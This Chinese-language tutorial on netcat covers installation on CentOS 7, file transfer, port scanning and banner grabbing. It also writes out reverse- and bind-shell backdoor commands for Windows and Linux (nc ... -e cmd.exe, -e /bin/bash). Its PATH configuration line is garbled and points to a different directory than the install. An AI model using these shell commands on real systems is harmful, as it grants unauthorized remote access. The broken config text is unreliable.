centos7下载nc:
wget https://sourceforge.net/projects/netcat/files/netcat/0.7.1/netcat-0.7.1.tar.gz
解压 tar -zxvf netcat-0.7.1.tar.gz
cd /usr/local
mv netcat-0.7.1 netcat
cd /usr/local/netcat
./configure
编译 make
安装 make install
配置 vim /etc/profile
添加以下内容:
*# set netcat path
export NETCAT_HOME=/opt/netcat
export PATH= P A T H : PATH: PATH:NETCAT_HOME/bin
保存,退出,并使配置生效:
source /etc/profile
检验
nc -help 成功
base64转化
在终端中输入base64 然后输入希望转换的数值
base64
dangtianpeng
回车后按ctrl+D即可得到
基于tcp/ip协议(c/s模型)
服务器端向客户端进行数据的传送
信息的转发:
创建一个服务器端的方法:
nc -l -p localport
nc -l -p 333 (服务器端的ip:1.1.1.1)
创建一个客户端方法(连接服务端)
nc [remote_addr] [remoteport]
nc -nv 1.1.1.1 333
返回shell的使用
创建一个服务器方法:
nc -l -p [localport] -e cmd.exe
创建一个客户端方法(连接服务器端)
nc [remote_addr][remoteport]
nc中的数据传输,使用的是标准的输入、输出流,所以可以直接利用命令行进行操作。
文件传输使用方法:
创建一个服务器端方法: (服务器端接收文件)
nc -l -p [localport] > outfile.txt
nc -l -p 333 > outfile.txt
创建一个客户端 (传输文件)
nc [remote_addr][remoteport] < /root/Desktop/flag.txt
如果此时服务端并没有准备好连接,而客户端已经使用nc进行连接,
那么客户端会一直等待下去,知道连接上服务端,造成一种“假死”状态
解决办法:设置等待时间
nc -w3 [ip][port] 设置等待时间为3秒,3秒之后,客户端直接关闭连接
netcat信息探测
- 目标内网的扫描
- 单纯对某个目标进行端口探测
- 对目标的服务banner进行抓取
端口扫描使用
nc -v -n -z -w1 [target_ip][start_target_port-stop_target_port]
-v 表示对错误进行详细输出
-n 不对目标机器进行DNS解析
-z zero I/O模式,专用于端口扫描,表示对目标IP发送的数据表中不包含任何payload,
这样做可以加速扫描的速度
-w1 超时设置为1秒
banner抓取
echo " " | nc -v -n -w1 [target_ip][start_target_port-stop_target_port]
获取目标的命令执行权限
window建立后门方法:
- 监听型后门
nc -l -p 4444 -e cmd.exe - 连接型后门
nc [remote_ip][remote_port] -e cmd.exe
linux建立后门方法
1.监听型后门:
nc -l -p 4444 -e /bin/bash
2.连接型后门
nc [remote_ip][remote_port] -e /bin/bash
命令参数
查看命令参数 -h
脱离命令窗口,在后台运行 -d
执行某个程序,建立后门 -e
设置网关,常用于突破内网限制 -G
路由跳数 -g
设置每一行数据的时间间隔 -i
设置netcat处于监听状态等待连接 -l
设置netcat处于监听状态等待连接,当客户端打开,服务端依旧回到等待状态 -L
设置netcat只识别ip地址,不再进行DNS解析 -n
设置传输十六进制的数据 -o
设置本地监听的端口号 -p
设置netcat随机化的端口号 -r
设置netcat源地址 -s
回复telnet的请求数据包 -t
设置netcat使用UDP模式 -u (netcat默认使用tcp的模式)
显示错误提示信息 -v
设置连接超时秒数 -w
设置扫描模式,表示发送的数据包中不包含payload -z
连接转发
是为了突破某些特殊情况下的连接限制,处理一些特殊情况
echo nc [target][port] > delay.bat
nc -l -p [localport] -e delay.bat
当有客户端连接该服务端时,连接的客户端和通过服务端连接到target port上实现了连接转发功能。()